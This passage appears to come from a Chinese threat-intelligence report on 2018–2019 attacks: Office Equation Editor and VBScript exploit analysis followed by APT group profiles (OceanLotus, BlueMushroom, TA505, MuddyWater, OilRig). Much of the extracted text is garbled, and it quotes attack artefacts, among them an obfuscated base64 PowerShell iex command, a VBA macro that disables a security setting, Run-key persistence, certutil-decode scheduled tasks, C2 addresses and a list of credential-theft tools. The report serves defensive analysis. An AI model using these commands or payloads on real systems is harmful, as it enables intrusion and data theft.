图 102 CVE-2017-0802 漏洞分析配图 16 
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图 103 CVE-2017-0802 漏洞分析配图 17 

 

ret EIP 1ɺ 1

shellcode shellcode ɺ 

3.4.1.1.3 CVE-2018-0798 

CVE-2018-0798 CVE-2018-0802 ɺCVE-2018-0798

MATRIX tag=5

ɺ FONT CVE-2017-11882 CVE-

2018-0802 ɺ 
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图 104 CVE-2017-0798 漏洞分析配图 1 

 

MATRIX

MATRIX ɺ 
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图 105 CVE-2017-0802 漏洞分析配图 2 

 

rows=0x26 clos=0xff

ɺ 2

+1 ɺ

size = (2 * count + 9) / 8ɺ 

ɺ tag 0x43A78F ɺ 

 

 

图 106 CVE-2017-0802 漏洞分析配图 3 

 



 

2018~2019  

 

MATRIX tag=5 case 4 MATRIX  

MATRIX ɺ 

 

 

图 107 CVE-2017-0802 漏洞分析配图 4 

 

MATRIX ɺ GetByte 0x416352

ReadData 0x443F6C

ɺ ReadData 0x443F6C ɺ 
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图 108 CVE-2017-0802 漏洞分析配图 5 

 

ɺ

ɺ 

 

 

图 109 CVE-2017-0802 漏洞分析配图 6 

 

row_parts 0x18 col_parts 0x10

ɺ row_parts 0x10 col_parts cols

col_parts ɺ rows=0x26 cols=0xff

row_parts col_parts 0x0A 0x40ɺ 
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图 110 CVE-2017-0802 漏洞分析配图 7 

 

1 0x4428F0 1

1 1

0 ɺ 

 

 

图 111 CVE-2017-0802 漏洞分析配图 8 

 

0x437C9D 0 ɺ 

 

图 112 CVE-2017-0802 漏洞分析配图 9 
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ret add esp 4 1 4

ɺ 

 

图 113 CVE-2017-0802 漏洞分析配图 10 

 

CVE-2017-11882 CVE-2018-0798 ASLR

ɺ 256 ROP

ɺ

CVE-2018-0802 ɺ 

2018 12 ASLR

ɺ 

3.4.1.2 特殊利用方式 

ɺ

CVE-2017-11882 URL

ɺ

ɺ 

3.4.1.2.1 使用\1OLE10Native 替代 Equation Native 

Equation Native OLE \1OLE10Native ɺ

\1OLE10Native ɺ 

 

 
图 114 公式编辑器特殊利用方式配图 1 
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图 118 公式编辑器特殊利用方式配图 5 

 

ɺ 

 

 

图 119 公式编辑器特殊利用方式配图 6 

 

 

图 120 公式编辑器特殊利用方式配图 7 

 

4 0x747 ɺ 5 MTEF

MTEF version=3 ɺ FONT tag=8

ɺ 

Equation Native  

Equation Native ɺ

ɺ 

3.4.1.2.2 不完整的 OLE 对象 

RTF ɺ RTF OLE \object

\objdata OLE CFB OLE ɺ 
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图 124 公式编辑器特殊利用方式配图 11 

 

clsid

OLE ɺ 

 

 
图 125 公式编辑器特殊利用方式配图 12 

 

Equation Native \1OLE10Native ɺ

4 RTF OLE

ɺ 
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图 126 公式编辑器特殊利用方式配图 13 

 

CVE-2018-0802 ɺ 

OLE ɺ

OLE CFB OLE

ɺ 

3.4.1.2.3 绕过版本限制 

CVE-2017-11882

ɺ CVE-2017-11882 CVE-2018-

0802 ɺCVE-2018-0798

ASLRɺ

ɺ 

CVE-2017-11882 CVE-

2018-0802 ɺ 

 

 

图 127 公式编辑器特殊利用方式配图 14 
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图 128 公式编辑器特殊利用方式配图 15 

 

ɺ

ɺ 

CVE-2017-11882

CVE-2017-11882

ɺ CVE-2018-0802

CVE-2017-11882 ɺ 

CVE-2018-0798 ASLRɺ

32 255 ɺ

255 ROP ɺ 

 

 

图 129 公式编辑器特殊利用方式配图 16 
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ROP ɺ 

 

 

图 130 公式编辑器特殊利用方式配图 17 

 

ROP 4 WinExec

WinExecɺ 

255

CVE-2018-0798ɺ 254

ɺ Office Office

ɺ 

matrix CVE-2018-0802

ɺ  

 

 

图 131 公式编辑器特殊利用方式配图 18 

 

matrix ɺ matrix rows=0x20 cols=0x80ɺ

size = (2 * count + 9) / 8 row_parts col_parts

0x09 0x2A ɺ 
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图 132 公式编辑器特殊利用方式配图 19 

 

row_parts 0x08

col_parts row_parts 0x09 0x43 col_parts

ɺ row_parts col_parts 0x18 0x10 ɺ

col_parts 0x2A ebp ɺ 

 

 

图 133 公式编辑器特殊利用方式配图 20 

 

0x50505050ɺ  
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sub_437C9D matrix ɺ

ɺ 

sub_4428F0 sub_443E34 row_parts

sub_443E34

1ɺ 

 

 

图 134 公式编辑器特殊利用方式配图 21 

 

 

图 135 公式编辑器特殊利用方式配图 22 

 

0x454F30 1 2 16 3 16

row_parts 0x14 ɺ ɺ 
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图 136 公式编辑器特殊利用方式配图 23 

 

sub_437C9D 0 ɺ

matrix matrix

ɺ 

matrix ɺ 

 

 
图 137 公式编辑器特殊利用方式配图 24 

 

 
图 138 公式编辑器特殊利用方式配图 25 
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图 139 公式编辑器特殊利用方式配图 26 

 

ebp

16 retɺ CVE-2018-0802

ASLRɺ matrix 0 sub_437C9D

0 shellcode ɺ 

 

 

图 140 公式编辑器特殊利用方式配图 27 

 

shellcode ɺ  
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2 16

row_parts ɺ 

 

 

图 141 公式编辑器特殊利用方式配图 28 

 

shellcodeɺ shellcode matrix ɺ 

3.4.1.3 Shellcode 利用 

shellcode

ɺ CVE-2017-11882 CVE-2018-0802 CVE-

2018-0798 ɺ shellcode

WinExec ɺ shellcode

ɺ 

shellcode shellcode

ɺ CVE-2017-11882 ɺ CVE-

2017-11882

ɺ 

3.4.1.3.1 对有限空间的利用 

CVE-2017-11882 shellcode 0x2C PEB

ldr

WinExec ɺ

0x0040xxxx

0 ɺ 
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图 142 公式编辑器 Shellcode 利用方式配图 1 

  

 
图 143 公式编辑器 Shellcode 利用方式配图 2 

 

1 shellcode

WinExec ɺ 

 

 

图 144 公式编辑器 Shellcode 利用方式配图 3 

 

WinExec

ɺ 

%tmp%\Server.exe package

ɺ

ɺ 

 
图 145 公式编辑器 Shellcode 利用方式配图 4 
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3.4.1.3.2 对利用空间的扩充 

WinExec shellcode

ɺ

ɺ CVE-2018-0802

ɺ WinExec WinExecɺ

ɺ 

 

 

图 146 公式编辑器 Shellcode 利用方式配图 5 

 

CVE-2017-11882 0x2C

ɺ

ɺ shellcode

 

ɺ 

 

图 147 公式编辑器 Shellcode 利用方式配图 6 
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图 148 公式编辑器 Shellcode 利用方式配图 7 

 

WinExec

shellcodeɺ 

 

 

图 149 公式编辑器 Shellcode 利用方式配图 8 

 

call WinExec ret WinExec

shellcode ɺ 
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图 150 公式编辑器 Shellcode 利用方式配图 9 

 

shellcode WinExec

ɺ shellcode

ɺ 

shellcode  

shellcode ɺ 

ɺ

ɺ shellcode

shellcode ɺ

ɺ 

0x45BD3C ɺ

0x45BD3C ɺ 

 

 

图 151 公式编辑器 Shellcode 利用方式配图 10 
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3.4.2.1 漏洞原理 

0.3.2.1.1 CVE-2018-8174 

CVE-2018-8174 ɺ

UAF ɺ 

 

 

图 155 CVE-2018-8174 配图 1 

 

MyClass arr Erase arr

MyClass ɺ MyClass

Class_Terminateɺ Class_Terminate arr

(MyClass ) o arr

ɺClass_Terminate MyClass o

MyClass ɺ POC o ɺ

UAF ɺ 

0.3.2.1.2 CVE-2018-8242 

CVE-2018-8242 ɺ

double free ɺ 
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图 156 CVE-2018-8242 配图 1 

 

MyClass arr Erase arr

MyClass ɺ MyClass

Class_Terminateɺ Class_Terminate

Erase arr MyClass ɺ MyClass

double free ɺ 

0.3.2.1.3 CVE-2018-8373 

CVE-2018-8373 CVE-2018-8174 UAF ɺ

POC ɺ 

 

 
图 157 CVE-2018-8373 配图 1 
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cls MyClass Class_Initialize array

ɺ cls.array(2) = cls cls array

Default Property Get Pɺ

Default Property Get P array

array ɺ cls

array 2 cls

ɺ

UAF ɺ 

3.4.2.2 Office 文档中的应用 

Office URL Moniker

ɺ ɺ 

 

 

图 158 IE 双杀漏洞在 Office 文档中的应用配图 1 

 

Office CVE-2017-0199 StdOLELink

\1OLE URL Moniker

ɺCVE-2017-0199 Content-Type "application/hta"

mshta hta ɺ CVE-2017-0199 FilterActivation

hta HTA Monikerɺ 
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图 159 IE 双杀漏洞在 Office 文档中的应用配图 2 

 

CVE-2018-8174 Content-Type text/html mshtml

html ɺ CVE-2017-0199 Moniker

mshtml IE IE

ɺ 

3.4.3 其他旧漏洞的利用 

2018 2018

ɺ 

3.4.3.1 CVE-2017-0199 

CVE-2017-0199 Office OLE OLE

ɺ ɺ URL Moniker/File 

Moniker / ɺ

hta sct

ɺ 

Moniker StdOLELink /1OLE ɺ /1OLE

Moniker ɺ 
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图 161 CVE-2017-8570 漏洞配图 1 

 

Composite Moniker Moniker

Composite Moniker URL Moniker File Moniker .sct

Scriptlet Moniker FilterActivation ɺ 

3.4.3.3 CVE-2017-8759 

CVE-2017-8759 SOAP WSDL

wsdlparser.cs PrintClientProxy ɺ SOAP WSDL

URL ɺ 

 

 

图 162 CVE-2017-8759 漏洞配图 1 



 

2018~2019  

 

URL URLɺ 

(//) URL ɺ

URL CRLF ɺ

ɺ 

Office Soap Moniker ɺ 

 

 

图 163 CVE-2017-8759 漏洞配图 2 

 

CFB OLE RTF OLE \1OLE

Soap Moniker ɺ 

 
图 164 CVE-2017-8759 漏洞配图 3 

 

ooxml rels ɺ 

URL

Unicode ɺ 
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APT

ɺ  

 

 

图 168 针对我国攻击的 APT 组织攻击次数分布 

 

Advanced APT ɺ 0day

APT ɺ 0day 10 0day

APT ɺ 

 

漏洞编号 漏洞类型 组织名称 

CVE-2018-0802 Office  BlackTech 

CVE-2018-4878 Flash  Lazarus 

CVE-2018-8174 VBS  Darkhotel 

CVE-2018-5002 Flash  HackingTeam 

CVE-2018-8414 Windows  Darkhydrus 

CVE-2018-8453 Windows  FruityArmor 

CVE-2018-8589 Windows  SandCat 

CVE-2018-8611 Windows  FruityArmorɹSandCat 

CVE-2018-8373 VBS  Darkhotel 

CVE-2018-15982 Flash  HackingTeam 

毒云藤

34%

海莲花

21%

蔓灵花

21%

白象

13%

DarkHotel

10%

蓝宝菇

1%

针对我国攻击的APT组织攻击次数分布
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CVE-2018-8440 ALPC  PowerPool 

表 20 2018 年 APT 组织曾经使用过的 0day 漏洞 

 

APT APT

 

1、钓鱼手段更加精细化，针对性和迷惑性更强 

APT ɺ

Office Office 

Office

ɺ

ɺ 

2、关键攻击代码鲜少落地，给 APT 攻击的防护和取证带来不少挑战 

APT

ɺ shellcode

ɺ Living off the land

ɹshellcode

ɺ APT  

 

技术名称 对应程序 主要用途 

WMI Wmiprvse.exe ɹ

 

 powershell.exe

VBScript.exe cmd.exe

cscript.exe mshta.exe 

 

BITSAdmin bitsadmin.exe 

 

 N/A 

 

DLL  N/A DLL 

 N/A  

Process Hollowing N/A  

 N/A  
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Dual-use tools sc.exe vnc putty

net.exe ipconfig.exe

netsh.exe teamviewer.exe

tasklist.exe rdpclip.exe

rar.exe wmic.exe find.exe

curl.exe netstat.exe

systeminfo.exe wget.exe

nc.exe gpresult.exe

whoami.exe ammyy.exe

query.exe sdelete.exe

psexec.exe csvde.exe

dumpel.exe lazagne.exe

pwdump dumpsec.exe

netcat.exe mimikatz.exe

wce.exe cachedump.exe

bruter.exe gsecdump.exe

winscanx.exe  certutil.exe 

 

表 21 APT 组织常用无文件攻击技术 

 

ɹBypass UAC

ɺ APT  

 

白利用 EXE 白利用模块 

Chat.exe WeChatWin.dll 

winword.exe wwlib.dl 

360se.exe chrome_elf.dll 

Flash.exe UxTheme.dll 

googleupdate.exe goopdate.dll 

360tray.exe dbghelp.dll 

MicrosoftWindowsDiskDiagnosticResolver.exe rastls.dll 

vmGuestLibJava.exe ACE.dll Common.dll

GmsCommon.dll MSVCP100.dll

MSVCR100.dll WsmanClient.dll 

searchindexer.exe/searchprotoclhost.exe msfte.dll 

Avpia.exe product_info.dll 



https://attack.mitre.org/groups/G0080
https://attack.mitre.org/groups/G0037/
https://attack.mitre.org/groups/G0079/
https://attack.mitre.org/groups/G0083/
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4.2.1 来自越南的海莲花组织 

2012 (APT32) ɹ ɹ ɹ

ɹ ɹ ɹ ɺ

ɹ

ɺ APT

ɺ 

 

组织来源  

攻击地域  

攻击目标  

入侵方式  

漏洞利用 CVE-2017-11882  CVE-2017-8570  

武器使用 DNS

Cobalt Strike  

表 25 海莲花组织分析表格 1 

 

攻击事件 A：  

事件描述 

2018 5 RTF CVE-2017-11882

ɺ

ɺ  

载荷分析 

CVE-2017-11882 Office

EQNEDT32.EXE Office ɺ

OLE Office

ɺ 

shellcode kernel32

API winword

ɺ 0xC 0x79797979

shellcodeɺ 
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图 169 海莲花组织分析配图 9 

 

shellcode kernel32 API

DLL DLL ɺ 

 

 

图 170 海莲花组织分析配图 10 

 

DLL C:\Program Files

Microsoft-Windows-DiskDiagnosticResolver_2021325962

MicrosoftWindowsDiskDiagnosticResolver.exeɹrastls.dll

OUTLFLTR.DAT ɺ 
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图 171 海莲花组织分析配图 11 

 

MicrosoftWindowsDiskDiagnosticResolver.exe

dot1xtra.exe exe

rastls.dllɺ 

 

 

图 172 海莲花组织分析配图 12 

 

rastls.dll OUTLFLTR.DAT shellcodeɺ

OUTLFLTR.DAT shellcode shellcode

{92BA1818-0119-4F79-874E-E3BF79C355B8}.dllɺ 
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图 173 海莲花组织分析配图 13 

 

{92BA1818-0119-4F79-874E-E3BF79C355B8}.dll 

{A96B020F-0000-466F-A96D-A91BBF8EAC96}.dll dllɺ {A96B020F-0000-

466F-A96D-A91BBF8EAC96}.dll ɺ 

 

 

图 174 海莲花组织分析配图 14 

 

2018 10 CVE-2017-

11882 ɺ 

 

攻击事件 B:  

事件描述 

2018 10

ɺ

ɺ 

样本分析 

白利用模块 

dbghelp.dll

dbghelp.dll SoftManager.exe

ɺ 

shellcode rns1daba.wmf 0x3B

EBP

EBP+4 SoftManager.exe

safemon.dll .text ɺ t05a2ztv.Exif  
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shellcode shellcode dbghelp.dll

ɺ 

 

 

图 175 海莲花组织分析配图 15 

 

EBP 0012FEA4 0040B0D6

SoftManager.exe ɺ LoadLibraryW Shellcode ɺ 

 

 

图 176 海莲花组织分析配图 16 

 

t05a2ztv.Exif .png 16*16 256 ɺ

shellcode 256

.png ɺ 

0x3EC 0x3F7 .png IEND IEND

0x3F8 shellcode ɺ 

 

 
图 177 海莲花组织分析配图 17 

 

.png 4 ARGB A R G

B ɺARGB 0~255 ɺ 
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AES 0x3B

Shellcode LoadLibraryW

Shellocde ɺ 

 

 

图 179 海莲花组织分析配图 19 

 

Shellcode 0xEFC

Shellcode AES ɺ sha256

CryptDeriveKey 128 AES ɺ 

CryptDeriveKey ɺ

CryptGenKey CryptGenKey ɺ 

 

 

图 180 海莲花组织分析配图 20 

 

batman@dawn123 ɹ ɹIP

ɹMac Shellcode 0xEBB 4

ɺ 1 1 0 ɺ 2 1 
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0 ɺ 0100 3

ɺ 

 

 

图 181 海莲花组织分析配图 21 

 

batman@dawn123venus-27281b1ab sha256 sha256

AES ɺvenus-27281b1ab ɺ 4

1 4 ɺ 

 

 

图 182 海莲花组织分析配图 22 

 

 

图 183 海莲花组织分析配图 23 

 

 

batman@dawn123administratorvenus-27281b1ab192.168.79.13400:0c:29:3c:a6:24 

AES sha256 0xEC0 0x20

ɺ AES

Shellcodeɺ t05a2ztv.Exif ɺ 
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图 184 海莲花组织分析配图 24 

 

横向移动模块 

js DenisɹCobaltStrike ɺ

js CactusTorchɺCactusTorch DotNetToJScript

.NET js ɺ .NET

.dll .exeɺDotNetToJScript

.NET ɺ

360PluginUpdator.bat  

 

 

图 185 海莲花组织分析配图 25 

 

base64 360PluginUpdater.js ɺ360PluginUpdater.js

ɺ 

 

 

图 186 海莲花组织分析配图 25 

 

RC4 RC4 ɺ 
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图 187 海莲花组织分析配图 26 

 

 

图 188 海莲花组织分析配图 27 

 

vsQrJD9IpxmxW js ɺ__0x692D71FE

vsQrJD9IpxmxW Keyɺ__0x102A30AF vsQrJD9IpxmxW md5

Base64 ɺvxLe708AHqt74 4 ɹ ɹIP

ɹMAC ɺ 1 Key ɹ

ɺ 

__0x5E211076 dll Base64  
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图 192 海莲花组织分析配图 31 

 

js md5 1ea6d95f866404e4be2b5ef899f36bc2 md5 Base64

__0x102A30AF : "HqbZX4ZkBOS+K174mfNrwg=="ɺ Xor

vsQrJD9IpxmxW("Y54mczbFRvBzk....") md5

ɺ 

js serialized_obj dll LoadShell

shlɺ shl Base64 CobaltStrike beacon.dll  

 

 

图 193 海莲花组织分析配图 32 
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图 194 海莲花组织分析配图 33 

 

360PluginUpdater.js js  

 

 

图 195 海莲花组织分析配图 34 
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图 196 海莲花组织分析配图 35 

 

 
图 197 海莲花组织分析配图 36 

 

js  
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1ɹ dll 

2ɹ options ɹ ɹIP ɹMac

pwd "789" ɺpwd Xor Key

option 0 pwd "789"ɺ

360PluginUpdater.js "qlwhdasDSAGsdamfasFASGAsd"ɺ 

3ɹ dll Xor js ɺXor

ɺ base64 pwd md5 jsɺ

js md5 base64 hash_data js

ɺ 

4ɹ Xor jsɺ 

js options 0 js options 0 360SecInfo.js

 

 

 

图 198 海莲花组织分析配图 37 

 

 
图 199 海莲花组织分析配图 38 

 

options 1 1 pwd ɺ 
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2018 12 ɹ ɹ

ɺ

ɺ 

 

 

 

图 201 蔓灵花组织分析配图 1 

 

载荷分析 

WORD RAT ɺ

C:\intel\logs ɺ 

 

 

图 202 蔓灵花组织分析配图 2 
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木马分析 

RAT -0xD

C&Cɺ 

 

 

图 203 蔓灵花组织分析配图 3 

 

RAT avg

0ɺ RAT GUID

ɺ 

 

 

图 204 蔓灵花组织分析配图 4 

 

HTTP GET

[] ɺ 
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图 205 蔓灵花组织分析配图 5 

 

URL RAT

ɺ URL RAT

.exe ɺ 

 

 
图 206 蔓灵花组织分析配图 6 
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RAT

ɺ 

 

 

图 207 蔓灵花组织分析配图 7 

 

URL  

 

Dropper

+0x22 ɺ

ɺ 

 

atoi int -0x64 ascii ɺ 

 

Windows\\debug\\WIA 

Windows\\System32\\catroot2\\{F750E6C3-38EE-11D1-85E5-00C04FC295EE} 

%appdata%\syslog0812AXbcW1.tean ɺ 

 

 

m50e!sq&n67$t 
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图 208 蔓灵花组织分析配图 8 

 

ɺ 

 

图 209 蔓灵花组织分析配图 9 
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图 210 蔓灵花组织分析配图 10 

 

JS ɺ

+0x22

KEY

+0x22ɺ 

 

 

 

图 211 蔓灵花组织分析配图 11 

 

IP

AVG Avast ɺ

\Microsoft\Windows\Start Menu\Programs\Startup\ winapp.lnk

C:\Intel\ winapp.exe  
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4.2.3 蓝宝菇组织 

BlueMushroom APT ɺ 2011

ɹ ɹ ɹ ɹ ɹ

ɺ 

 

攻击地域  

攻击目标  

入侵方式  

表 28 蓝宝菇组织表格 1 

 

攻击事件分析： 

事件描述 

2018 4

LNK PowerShell

ɺ LNK

AWS S3 ɺ 

样本分析 

第一阶段 PowerShell 功能分析 

PowerShell PowerShell ɺ  

 

 
图 213 蓝宝菇组织分析配图 1 
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图 214 蓝宝菇组织分析配图 2 

 

lnk base64

PowerShell ɺ 

 

 

图 215 蓝宝菇组织分析配图 3 

 

Lnk ɺ 
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图 216 蓝宝菇组织分析配图 4 

 

Base64 [ +PowerShell ]

 

 

 

 

图 217 蓝宝菇组织分析配图 5 

 

 

 

图 218 蓝宝菇组织分析配图 6 

 



 

2018~2019  

 

PowerShell  

lnk PowerShell PowerShell

ɺ 

PowerShell lnk ɺ 

 

 

图 219 蓝宝菇组织分析配图 7 

 

FTP ɺ121.13.247.141:2112 FTP

httpdlib OmG656P0EpSqOgTq ɺ 

FTP ɺ 

 

 

图 220 蓝宝菇组织分析配图 8 

 

 FTP  
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图 221 蓝宝菇组织分析配图 9 

 

\start.log ɺ

16 ɺ 

 

 

图 222 蓝宝菇组织分析配图 10 

 

RSA

ID FTP ɺ 

 

 

图 223 蓝宝菇组织分析配图 11 
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Wl4 FTP ɺ 

 

 

图 224 蓝宝菇组织分析配图 12 

 

start.log FTP

start.rar ɺ 
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图 227 蓝宝菇组织分析配图 15 

 

FTP ɺ 

 

 

图 228 蓝宝菇组织分析配图 16 

 

Zc5 0 100MB

FTP ɺ 
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图 229 蓝宝菇组织分析配图 17 

 

ɺ 
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图 230 蓝宝菇组织分析配图 18 

 

ɺ 

 

图 231 蓝宝菇组织分析配图 19 
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FTP ɺ 

 

图 232 蓝宝菇组织分析配图 20 

 

%appdata%\Microsoft\Windows\Recent\ _P ɺ 

 

 
图 233 蓝宝菇组织分析配图 21 

  

1 ɺ 

 

图 234 蓝宝菇组织分析配图 22 
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FTP ɺ 

 

 
图 235 蓝宝菇组织分析配图 23 

 

per.log FTP ɺ 

 

 

图 236 蓝宝菇组织分析配图 24 

4.3 针对国外攻击的活跃 APT 组织 
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4.3.1 针对金融机构攻击的黑客组织-TA505 

组织简介： 

TA505 TA505 Proofpoint

2017 9 ɺ

DridexɹLocky ɺ 

 

组织来源  

攻击地域  

攻击目标  

入侵方式  

漏洞利用  

武器使用 FlawedAmmyy FlawedGrace Dridex

TrickBot ServHelper 

表 29 TA505 组织表格 1 

 

攻击事件 A: 

事件描述 

2018 11 TA505 ɺ

.pub

FlawedAmmyy ɺ 

载荷分析 

ɺ 

 

图 237 TA505 组织分析配图 1 
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Auto_Open ɺ URL

ɺ 

 

 

图 238 TA505 组织分析配图 2 

  

 URLɺ 

 

 

图 239 TA505 组织分析配图 3 
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Msi

ɺ 

下载者木马 

LoadLibrary DLL

GetProcAddress API

185.231.155.59 ɺ 

EXE

ɺ 

 

 
图 240 TA505 组织分析配图 4 

 

FlawedAmmyy ɺ 

 

图 241 TA505 组织分析配图 5 
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ɺ 

 

图 242 TA505 组织分析配图 6 

 

ɺ 

 

 

图 243 TA505 组织分析配图 7 

 

 
图 244 TA505 组织分析配图 8 
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RC4 ɺ 

 

图 245 TA505 组织分析配图 9 

 

ɺ 

 

图 246 TA505 组织分析配图 10 

 

FlawedAmmyy 后门木马 

FlawedAmmyy FlawedAmmyy

Ammyy Admin V3 ɺ ɹ

ɹ ɹ ɹ ɺ

ɺ 

: 

 

字段 含义 

id 8 5  

os  
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priv  

cred  

pcname  

avname  

build_time  

card  

表 30 TA505 组织表格 2 

 

攻击事件 B： 

事件描述 

2018 12 Excel 4.0 ɺ

Excel 4.0

FlawedAmmyy ServHelperɺ 

载荷分析 

Excel

Excel 4.0 ɺ 

 

 

图 247 TA505 组织分析配图 11 

 

http[:]//update365Office.com/agp

ɺ 
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下载者木马 

update365Office.com MSI MSI

%temp% help.bat rds.VBS htpd.datɺ 

rds.VBS help.bat htpd.datɺ 

ServHelper  

htpd.dat ɺ 

 

 

图 248 TA505 组织分析配图 12 

 

ɺ 

 

 

图 249 TA505 组织分析配图 13 

 

C&C HTTPS

Key ɺ 
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图 250 TA505 组织分析配图 14 

 

ɺ 

 

 
图 251 TA505 组织分析配图 15 

 

 

远程命令 对应功能 

shell shell 

nop C&C  

slp  

load EXE  
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loaddll DLL  

selfkill  

表 31 TA505 组织表格 3 

4.3.2 来自于伊朗的 MuddyWater(污水)组织 

组织简介： 

MuddyWater APT ɺ

MuddyWater ɺ

ɺ 

Powershell C# ɺ

( ) POWERSTATS C#

POWERSTATS ɺ 

 

组织来源  

攻击地域  

攻击目标 IT  

入侵方式  

漏洞利用 CVE-2017-0199 CVE-2017-11882 

武器使用 POWERSTATS C#  

表 32 MuddyWater 组织表格 1 

 

攻击事件 A：  

事件描述： 

2018 3 FireEye MuddyWater

ɺ 

 

 

 

 

 

 

 

 





 

2018~2019  

 

Powershell

VBS mshta.exe VBScript Powershell

Powershell ɺ 

Powershell Powershell

C&C

 

 

 

图 253 MuddyWater 组织分析配图 2 

 

Office Macro Warnings

ɺ ɺ VBA

ɺ 

 

 
图 254 MuddyWater 组织分析配图 3 

 

ɺ 

https://api.ipify.org/ IP

ɹ IPɹ ɹ C&C

C&C ɺ 

 

 

 

 

https://api.ipify.org/
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命令 功能 

Screenshot  

Excel Powershell

Excel DDE Powershell  

Outlook Powershell

Outlook COM MSHTA.exe

Powershell  

Risk Powershell

Explorer.exe COM

Powershell  

Upload C&C C

\ProgramData 

Clean  

Reboot  

表 33 MuddyWater 组织表格 2 

 

攻击事件 B： 

事件描述： 

2019 1 11 MuddyWater ɺ 

样本分析： 

 

 
图 255 MuddyWater 组织分析配图 4 
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MuddyWater

ɺ

 

 

 

图 256 MuddyWater 组织分析配图 5 

 

 

 

/k %Windir%\System32\reg.exe IMPORT %temp%\in.reg 

Windows Registry Editor Version 5.00 

\in.reg 

Scripting.FileSystemObject 

\GoogleUpdate.exe 

4d5a90000300000004000000ffff0000b80000000000000040000000000000000000000000

0000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b

8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f5

3206d6f64652e0d0d0a2400000000000000 

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run] 

"SystemUp"=hex(2):25 00 74 00 65 00 6d 00 70 00 25 00 5c 00



 

2018~2019  

47 00 6f 00 6f 00 \67 00 6c 00 65 00 55 00 70 00 64 00

61 00 74 00 65 00 2e 00 65 00 78 00 65 \ 

  00 00 00 

shell.application 

Open 

表 34 MuddyWater 组织表格 3 

 

%temp%\GoogleUpdate.exe

%temp%\GoogleUpdate.exeɺ 

GoogleUpdate.exe

 

 

 

图 257 MuddyWater 组织分析配图 6 

 

GoogleUpdate.exe C# GoogleUpdate.exe

x temp_gh_12.dat C&C

ɺ C&C C&C ɺ 

 

 

图 258 MuddyWater 组织分析配图 7 

 

 

C&C[tname=id_[uniqueID]&path=Users] 



 

2018~2019  

 

uniqueID ID

Powershell

%Appdata%\\Windows\\Microsoft\\FrameWork4\\res_[uniqueID].frk

POST  

C&C[tname=res_[uniqueID].frk&path=Data] 

C&C  

C&C[readme=Data/[uniqueID]] 

C&C  

 

回传数据格式 执行操作描述 

  

DOWNLOAD 

[FileName] [URL] 

URL

%Appdata%\\\\Windows\\Microsoft\\FrameWork4\\[FileName] 

UPLOAD [FileName]  

C&C[tname=[ ]&path=Data] 

  

表 35 MuddyWater 组织表格 4 

 

攻击事件 C： 

事件描述： 

2019 3 MuddyWater Powershell

ɺ 

载荷分析 

 

图 259 MuddyWater 组织分析配图 8 





 

2018~2019  

 Set wwgh = Application 

 amde = CallByName(wwgh， "Version"， mnpw) 

 vbfl = "Software\Microsoft\Office\" & amde & "\Excel\Security" 

 jdnq = "AccessVBOM" 

 Set juyu = 

mbne("winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv"

) 

 CallByName juyu， "SetDWORDValue"， VbMethod， &H80000001， vbfl， 

jdnq， 1 

End Function 

 

UserForm1.TextBox1.Text

e ɺ 

e powershell

HKEY_CURRENT_USER\Software\Classes\CLSID\{e7790f00-694d-438a-868c-

b62c27f24aa0}\Shell\Manage\command\ 

 

 

c:\windows\system32\wscript.exe c:\windows\temp\temp.VBS ""powershell -exec 

bypass -c 

""""iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64

String('JFhYPWlleCgoJ1snICsgW2NoYXJdMHg1MyArICd5c3RlbS5UZXh0LkVuYycgKyBbY2hh

cl0weDZmICsgJ2RpbmddOjpBJyArIFtjaGFyXTB4NTMgKyAnQ0lJLkdldCcgKyBbY2hhcl0weDUz

ICsgJ3RyaW5nKFsnICsgW2NoYXJdMHg1MyArICd5c3RlbS5DJyArIFtjaGFyXTB4NmYgKyAnbnZl

cnRdOjpGcicgKyBbY2hhcl0weDZmICsgJ21CYXNlNicgKyBbY2hhcl0weDM0ICsgJycgKyBbY2hh

cl0weDUzICsgJ3RyaW5nKChnZXQtYycgKyBbY2hhcl0weDZmICsgJ250ZW50IC1wYXRoICcnYzpc

d2luZCcgKyBbY2hhcl0weDZmICsgJ3dzXHRlbXBcaWQucG5nJycpKSknKSk7JEJCPWlleCgoJ3N0

YXJ0LXNsZWVwIDEwOyRzPSRYWDskZCA9IEAoKTskdiA9IDA7JGMgPSAwO3doaWxlKCRjIC1uZSAk

cy5sZW5ndGgpeyR2PSgkdio1MikrKFtJbnQzMl1bY2hhcl0kc1skY10tJyArIFtjaGFyXTB4MzQg

KyAnMCk7aWYoKCgkYysxKSUzKSAtZXEgMCl7d2hpbGUoJHYgLW5lIDApeyR2dj0kdiUyNTY7aWYo

JHZ2IC1ndCAwKXskZCs9W2NoYXJdW0ludDMyXSR2dn0kdj1bSW50MzJdKCR2LzI1Nil9fSRjKz0x

O307W2FycmF5XTo6UmV2ZXJzZSgkZCk7aWV4KFsnICsgW2NoYXJdMHg1MyArICd0cmluZ106Okon

ICsgW2NoYXJdMHg2ZiArICdpbignJycnLCRkKSk7OycpKTtpZXgoJEJCKQ==" 

 

CortanaService  







 

2018~2019  

 

Tmp.doc

%APPDATA%\Base.txt 

%APPDATA%\Base.txt Base64

%PUBLIC%\Libraries\servicereset.exe ɺ 

servicereset.exe ISMAgent SmartAssembly .NET

de4dot  

PolicyConverter.exe  

C# de4dot

ɺ 

ns2.Class5.smethod_15  

PolicyConverter.Resources Tsk1

Tsk2 cmd  

 

Tsk1  
 

"SchTasks /Create /SC MINUTE /MO 4 /TN \"ReportHealth\" /TR 

\"%localappdata%\\srvHealth.exe\" /f" 

Tsk2  "SchTasks /Create /SC MINUTE /MO 2 /TN \"LocalReportHealth\" /TR \"cmd.exe /c certutil 

-decode %localappdata%\\srVBS.txt %localappdata%\\srvHealth.exe && schtasks /DELETE /tn 

LocalReportHealth /f && del %localappdata%\\srVBS.txt\"" 

表 38 OilRig 组织表格 2 

 

Tsk1 srvHealth.exe Tsk2 srVBS.txt Base64

srvHealth.exeɺ 

ns2.Class5.smethod_27  

Joiner.dll Inner.dll  

 

 
图 261 OilRig 组织分析配图 2 

 

Joiner.dll  

Joiner Joiner.dll

P11+P12+P21+P22 ɺ 



 

2018~2019  

 

Inner.dll  

Join LoadDll Join Joiner.dll Joiner

Inner.dll Join Inner.dll D1+D2 ɺ

LoadDll Join ( DLL

PolicyLab.dll) LoadDll PolicyLab.dll ClsV2 Joiner

